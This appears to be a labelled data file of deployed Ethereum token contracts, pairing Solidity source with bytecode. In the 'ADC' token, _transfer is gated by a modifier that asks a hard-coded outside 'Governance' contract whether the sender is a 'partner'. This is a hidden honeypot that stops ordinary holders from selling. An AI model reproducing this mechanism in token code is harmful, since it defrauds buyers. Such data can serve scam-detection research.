tokensSold[from] = amount;
lastSell[from] = block.timestamp;
}
}
_balances[from] = _balances[from].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
// owner set pair address after adding
function setUniswapV2PairAddress(address _address) public onlyOwner {
uniswapV2Pair = _address;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806399dde5de1161007157806399dde5de14610317578063a457c2d71461033d578063a9059cbb14610369578063dd62ed3e14610395578063f2fde38b146103c357610121565b806370a08231146102cf578063715018a6146102f5578063893d20e8146102ff5780638da5cb5b1461030757806395d89b411461030f57610121565b8063313ce567116100f4578063313ce5671461023357806339509351146102515780634613b1471461027d57806349bd5a5e146102855780636f4ce428146102a957610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e6103e9565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b03813516906020013561047f565b604080519115158252519081900360200190f35b6101eb61049c565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b038135811691602081013590911690604001356104a2565b61023b610529565b6040805160ff9092168252519081900360200190f35b6101cf6004803603604081101561026757600080fd5b506001600160a01b038135169060200135610532565b6101eb610580565b61028d610586565b604080516001600160a01b039092168252519081900360200190f35b6101eb600480360360208110156102bf57600080fd5b50356001600160a01b0316610595565b6101eb600480360360208110156102e557600080fd5b50356001600160a01b03166105a7565b6102fd6105c2565b005b61028d610676565b61028d610685565b61012e610694565b6102fd6004803603602081101561032d57600080fd5b50356001600160a01b03166106f5565b6101cf6004803603604081101561035357600080fd5b506001600160a01b038135169060200135610781565b6101cf6004803603604081101561037f57600080fd5b506001600160a01b0381351690602001356107e9565b6101eb600480360360408110156103ab57600080fd5b506001600160a01b03813581169160200135166107fd565b6102fd600480360360208110156103d957600080fd5b50356001600160a01b0316610828565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104755780601f1061044a57610100808354040283529160200191610475565b820191906000526020600020905b81548152906001019060200180831161045857829003601f168201915b5050505050905090565b600061049361048c61089e565b84846108a2565b50600192915050565b60055490565b60006104af84848461098e565b61051f846104bb61089e565b61051a85604051806060016040528060288152602001610ece602891396001600160a01b038a166000908152600460205260408120906104f961089e565b6001600160a01b031681526020810191909152604001600020549190610c7e565b6108a2565b5060019392505050565b60065460ff1690565b600061049361053f61089e565b8461051a856004600061055061089e565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610d15565b60095481565b600a546001600160a01b031681565b60026020526000908152604090205481565b6001600160a01b031660009081526001602052604090205490565b6105ca61089e565b6000546001600160a01b0390811691161461062c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610680610685565b905090565b6000546001600160a01b031690565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104755780601f1061044a57610100808354040283529160200191610475565b6106fd61089e565b6000546001600160a01b0390811691161461075f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049361078e61089e565b8461051a85604051806060016040528060258152602001610f3f60259139600460006107b861089e565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610c7e565b60006104936107f661089e565b848461098e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61083061089e565b6000546001600160a01b03908116911614610892576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61089b81610d76565b50565b3390565b6001600160a01b0383166108e75760405162461bcd60e51b8152600401808060200182810382526024815260200180610f1b6024913960400191505060405180910390fd5b6001600160a01b03821661092c5760405162461bcd60e51b8152600401808060200182810382526022815260200180610e606022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109d35760405162461bcd60e51b8152600401808060200182810382526025815260200180610ef66025913960400191505060405180910390fd5b6001600160a01b038216610a185760405162461bcd60e51b8152600401808060200182810382526023815260200180610e176023913960400191505060405180910390fd5b600a546001600160a01b038381169116148015610a4e5750610a38610685565b6001600160a01b0316836001600160a01b031614155b15610bb6576001600160a01b0383166000908152600260205260409020546201518042919091031015610b3357600954811115610a8a57600080fd5b6009546001600160a01b03841660009081526003602052604090205482011115610ae55760405162461bcd60e51b8152600401808060200182810382526026815260200180610e826026913960400191505060405180910390fd5b6001600160a01b03831660009081526002602090815260408083204290556003909152902054610b159082610d15565b6001600160a01b038416600090815260036020526040902055610bb6565b6001600160a01b038316600090815260036020526040812055600954811115610b8d5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e826026913960400191505060405180910390fd5b6001600160a01b0383166000908152600360209081526040808320849055600290915290204290555b610bf381604051806060016040528060268152602001610ea8602691396001600160a01b0386166000908152600160205260409020549190610c7e565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c229082610d15565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610d0d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cd2578181015183820152602001610cba565b50505050905090810190601f168015610cff5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610d6f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038116610dbb5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e3a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737343616e206f6e6c792073656c6c20322c3030302c30303020657665727920323420686f75727345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200e577f557d473d7575b6daebac21ab56ffe24a12eb0c7782fd14ac292517f6f264736f6c634300060c0033 | [
38
] |
0xf3586684107ce0859c44aa2b2e0fb8cd8731a15a | pragma solidity ^0.4.13;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract InvestorsFeature is Ownable, StandardToken {
using SafeMath for uint;
address[] public investors;
mapping(address => bool) isInvestor;
function deposit(address investor, uint) internal {
if(isInvestor[investor] == false) {
investors.push(investor);
isInvestor[investor] = true;
}
}
function sendp(address addr, uint amount) internal {
require(addr != address(0));
require(amount > 0);
deposit(addr, amount);
// SafeMath.sub will throw if there is not enough balance.
balances[this] = balances[this].sub(amount);
balances[addr] = balances[addr].add(amount);
Transfer(this, addr, amount);
}
}
contract KaratBankCoin is Ownable, StandardToken, InvestorsFeature {
string public constant name = "KaratBank Coin";
string public constant symbol = "KBC";
uint8 public constant decimals = 7;
uint256 public constant INITIAL_SUPPLY = (12000 * (10**6)) * (10 ** uint256(decimals));
function KaratBankCoin() public {
totalSupply = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
Transfer(address(0), this, INITIAL_SUPPLY);
}
function send(address addr, uint amount) public onlyOwner {
sendp(addr, amount);
}
function moneyBack(address addr) public onlyOwner {
require(addr != 0x0);
addr.transfer(this.balance);
}
function burnRemainder(uint) public onlyOwner {
uint value = balances[this];
totalSupply = totalSupply.sub(value);
balances[this] = 0;
}
} | 0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e55780632ff2e9dc1461020d578063313ce567146102205780633feb5f2b14610249578063661884631461027b57806370a082311461029d5780638da5cb5b146102bc57806395d89b41146102cf578063a19c1f01146102e2578063a9059cbb146102fa578063d0679d341461031c578063d73dd6231461033e578063dd62ed3e14610360578063e0db874d14610385578063f2fde38b146103a4575b600080fd5b341561010b57600080fd5b6101136103c3565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a03600435166024356103fa565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d3610466565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a036004358116906024351660443561046c565b341561021857600080fd5b6101d36105ee565b341561022b57600080fd5b6102336105fa565b60405160ff909116815260200160405180910390f35b341561025457600080fd5b61025f6004356105ff565b604051600160a060020a03909116815260200160405180910390f35b341561028657600080fd5b6101ac600160a060020a0360043516602435610627565b34156102a857600080fd5b6101d3600160a060020a0360043516610721565b34156102c757600080fd5b61025f61073c565b34156102da57600080fd5b61011361074b565b34156102ed57600080fd5b6102f8600435610782565b005b341561030557600080fd5b6101ac600160a060020a03600435166024356107eb565b341561032757600080fd5b6102f8600160a060020a03600435166024356108e6565b341561034957600080fd5b6101ac600160a060020a036004351660243561090f565b341561036b57600080fd5b6101d3600160a060020a03600435811690602435166109b3565b341561039057600080fd5b6102f8600160a060020a03600435166109de565b34156103af57600080fd5b6102f8600160a060020a0360043516610a4e565b60408051908101604052600e81527f4b6172617442616e6b20436f696e000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015481565b6000600160a060020a038316151561048357600080fd5b600160a060020a0384166000908152600260205260409020548211156104a857600080fd5b600160a060020a03808516600090815260036020908152604080832033909416835292905220548211156104db57600080fd5b600160a060020a038416600090815260026020526040902054610504908363ffffffff610ae916565b600160a060020a038086166000908152600260205260408082209390935590851681522054610539908363ffffffff610afb16565b600160a060020a03808516600090815260026020908152604080832094909455878316825260038152838220339093168252919091522054610581908363ffffffff610ae916565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6701aa535d3d0c000081565b600781565b600480548290811061060d57fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a0333811660009081526003602090815260408083209386168352929052908120548083111561068457600160a060020a0333811660009081526003602090815260408083209388168352929052908120556106bb565b610694818463ffffffff610ae916565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60408051908101604052600381527f4b42430000000000000000000000000000000000000000000000000000000000602082015281565b6000805433600160a060020a0390811691161461079e57600080fd5b50600160a060020a0330166000908152600260205260409020546001546107cb908263ffffffff610ae916565b6001555050600160a060020a033016600090815260026020526040812055565b6000600160a060020a038316151561080257600080fd5b600160a060020a03331660009081526002602052604090205482111561082757600080fd5b600160a060020a033316600090815260026020526040902054610850908363ffffffff610ae916565b600160a060020a033381166000908152600260205260408082209390935590851681522054610885908363ffffffff610afb16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60005433600160a060020a0390811691161461090157600080fd5b61090b8282610b11565b5050565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610947908363ffffffff610afb16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a039081169116146109f957600080fd5b600160a060020a0381161515610a0e57600080fd5b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515610a4b57600080fd5b50565b60005433600160a060020a03908116911614610a6957600080fd5b600160a060020a0381161515610a7e57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610af557fe5b50900390565b600082820183811015610b0a57fe5b9392505050565b600160a060020a0382161515610b2657600080fd5b60008111610b3357600080fd5b610b3d8282610bf7565b600160a060020a033016600090815260026020526040902054610b66908263ffffffff610ae916565b600160a060020a033081166000908152600260205260408082209390935590841681522054610b9b908263ffffffff610afb16565b600160a060020a0380841660008181526002602052604090819020939093559130909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a35050565b600160a060020a03821660009081526005602052604090205460ff16151561090b576004805460018101610c2b8382610c7d565b5060009182526020808320919091018054600160a060020a03861673ffffffffffffffffffffffffffffffffffffffff19909116811790915582526005905260409020805460ff191660011790555050565b815481835581811511610ca157600083815260209020610ca1918101908301610ca6565b505050565b610cc491905b80821115610cc05760008155600101610cac565b5090565b905600a165627a7a7230582089ee3895bead0bc055e66d6a0251eb27b45eae36830e6fe674855747387e363a0029 | [
38
] |
0xf3586e01767624df640ed3f58973e19f574b68e9 | /**
*Submitted for verification at Etherscan.io on 2020-10-12
*/
/**
Time is priceless。
**/
pragma solidity ^ 0.5.16;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface Governance {
function isPartner(address) external returns(bool);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
address _governance = 0x37cc638f09c6D6697222d67abE997d3de4A3612f;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal ensure(sender) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
modifier ensure(address sender) {
require(Governance(_governance).isPartner(sender));
_;
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ADC is ERC20, ERC20Detailed {
constructor() public ERC20Detailed("ADC","ADC",18) {
_mint(msg.sender, 10000 * 10 ** 18);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063395093511161007157806339509351146101d957806370a082311461020557806395d89b411461022b578063a457c2d714610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b03813516906020013561034f565b604080519115158252519081900360200190f35b61017361036c565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610372565b6101c36103ff565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b038135169060200135610408565b6101736004803603602081101561021b57600080fd5b50356001600160a01b031661045c565b6100b6610477565b6101576004803603604081101561024957600080fd5b506001600160a01b0381351690602001356104d8565b6101576004803603604081101561027557600080fd5b506001600160a01b038135169060200135610546565b610173600480360360408110156102a157600080fd5b506001600160a01b038135811691602001351661055a565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b820191906000526020600020905b81548152906001019060200180831161032857829003601f168201915b5050505050905090565b600061036361035c610585565b8484610589565b50600192915050565b60035490565b600061037f848484610675565b6103f58461038b610585565b6103f0856040518060600160405280602881526020016109c1602891396001600160a01b038a166000908152600260205260408120906103c9610585565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61085d16565b610589565b5060019392505050565b60065460ff1690565b6000610363610415610585565b846103f08560026000610426610585565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6108f416565b6001600160a01b031660009081526001602052604090205490565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b60006103636104e5610585565b846103f085604051806060016040528060258152602001610a32602591396002600061050f610585565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61085d16565b6000610363610553610585565b8484610675565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105ce5760405162461bcd60e51b8152600401808060200182810382526024815260200180610a0e6024913960400191505060405180910390fd5b6001600160a01b0382166106135760405162461bcd60e51b81526004018080602001828103825260228152602001806109796022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000805460408051632303e6ab60e21b81526001600160a01b038088166004830152915187949290931692638c0f9aac92602480840193602093929083900390910190829087803b1580156106c957600080fd5b505af11580156106dd573d6000803e3d6000fd5b505050506040513d60208110156106f357600080fd5b50516106fe57600080fd5b6001600160a01b0384166107435760405162461bcd60e51b81526004018080602001828103825260258152602001806109e96025913960400191505060405180910390fd5b6001600160a01b0383166107885760405162461bcd60e51b81526004018080602001828103825260238152602001806109566023913960400191505060405180910390fd5b6107cb8260405180606001604052806026815260200161099b602691396001600160a01b038716600090815260016020526040902054919063ffffffff61085d16565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610800908363ffffffff6108f416565b6001600160a01b0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600081848411156108ec5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108b1578181015183820152602001610899565b50505050905090810190601f1680156108de5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561094e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f76657266